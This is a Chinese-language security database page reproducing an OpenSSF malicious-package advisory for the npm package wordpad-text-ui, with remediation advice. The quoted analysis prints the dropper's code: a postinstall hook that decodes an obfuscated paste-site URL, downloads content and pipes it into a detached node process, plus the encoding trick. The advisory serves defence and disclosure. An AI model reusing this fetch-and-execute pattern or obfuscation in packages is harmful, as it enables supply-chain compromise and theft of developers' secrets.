目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

wordpad-text-ui

MAL-2026-5885
2026-07-16 09:03:53
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in wordpad-text-ui (npm)

凭据/密钥窃取安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
8
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmwordpad-text-ui*
npmwordpad-text-ui1.0.0
npmwordpad-text-ui1.0.1
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-16T09:03:53Z","published":"2026-06-16T14:02:23Z","schema_version":"1.7.4","id":"MAL-2026-5885","aliases":["GHSA-83j8-j97r-9p9h"],"summary":"Malicious code in wordpad-text-ui (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (0d4d50aa948a360a788613f1fee19f4d1853c93d8792a5899c620e56d40c53ad)\nOn `npm install`, the declared postinstall hook runs `node main.js`, which decodes an obfuscated URL (stored as `DEV_API_KEY=\"S]EH:2e2prf1uhshhnqrvm1zzz22=vswwk\"` in main.js line 15, deobfuscated via string reversal and a Caesar shift of -3 to `https://www.jsonkeeper.com/b/7EBZP`), HTTP-GETs the response via axios, and writes the body into the stdin of a detached `node` child process for execution (main.js lines 18-23: `const s1 = (await axios.get(update(DEV_API_KEY))).data.content; const child = spawn('node', [], { detached: true,... }); child.stdin.write(s1); child.stdin.end(); child.unref();`). This is a classic install-time remote code execution dropper: the payload is hosted on an anonymous, mutable JSON paste service and is therefore attacker-controlled and can change at any time without a package update. Supporting indicators reinforce malicious intent: the C2 URL is hidden behind a homemade reverse+Caesar encoding under a misleading `DEV_API_KEY` name (an evasion tactic against static scanners); the package's name (`wordpad-text-ui`) implies a text-editor UI library but `index.js` only errors out telling consumers not to require it, while `bootstrap.js`, `bundle.js`, and `publish.js` are empty 0-byte decoys — the package ships no actual functionality and exists solely to deliver the dropper. It also pulls in a sibling package `richtext-editor-ui` that propagates the same campaign.\n\n## Source: ghsa-malware (8a4577fc6eed7c960fe538bf51367354ab924fe5bde8632238047dbf32cbd471)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"wordpad-text-ui"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0","1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"main.js","sha256":"db88a6e0dd89c9bc9e00db11fe9323c7b24208e6f64c5abf83c2428fa4c240ef","tlsh":"7a019c5e321b63795f728bd59a338539892a8030f242e5d4b68920872f83f09028ffdd"},{"path":"package.json","sha256":"4380bf423aba0fd96b6f98895f831256f70aca5606abf77ccd3607a8bb62a484","tlsh":"8e219824e8e2aca317d591b93c3d42532191d9178a4bfc0cb7a6035c8f1c23f92f926d"}],"package_integrity":[{"filename":"wordpad-text-ui-1.0.0.tgz","hashes":{"sha1":"8fceb3dec5949b74670cf61f6b7ff539d8a05b81","sha512_sri":"sha512-f2v3X45bojtAht+kKIlfkSZ4sIT8oZnK/Gma1QzfwWNeSlx9FdWHdxnBGRYF5B6mq+zJZXe0frbtCFDfhBeeNA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/wordpad-text-ui/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/wordpad-text-ui/v/1.0.1"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-83j8-j97r-9p9h"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"0d4d50aa948a360a788613f1fee19f4d1853c93d8792a5899c620e56d40c53ad","import_time":"2026-06-16T14:19:04.049256274Z","id":"IN-MAL-2026-006749","modified_time":"2026-06-16T14:02:27Z","versions":["1.0.0"]},{"source":"amazon-inspector","sha256":"681509192438fabdba9f587c9d5316fd82fbe1093455b0a66e6585c765407e5e","import_time":"2026-06-16T14:19:03.923214289Z","id":"IN-MAL-2026-006748","modified_time":"2026-06-16T14:02:23Z","versions":["1.0.1"]},{"source":"ghsa-malware","sha256":"8a4577fc6eed7c960fe538bf51367354ab924fe5bde8632238047dbf32cbd471","import_time":"2026-07-16T09:01:59.866576572Z","id":"GHSA-83j8-j97r-9p9h","modified_time":"2026-07-16T08:10:28Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0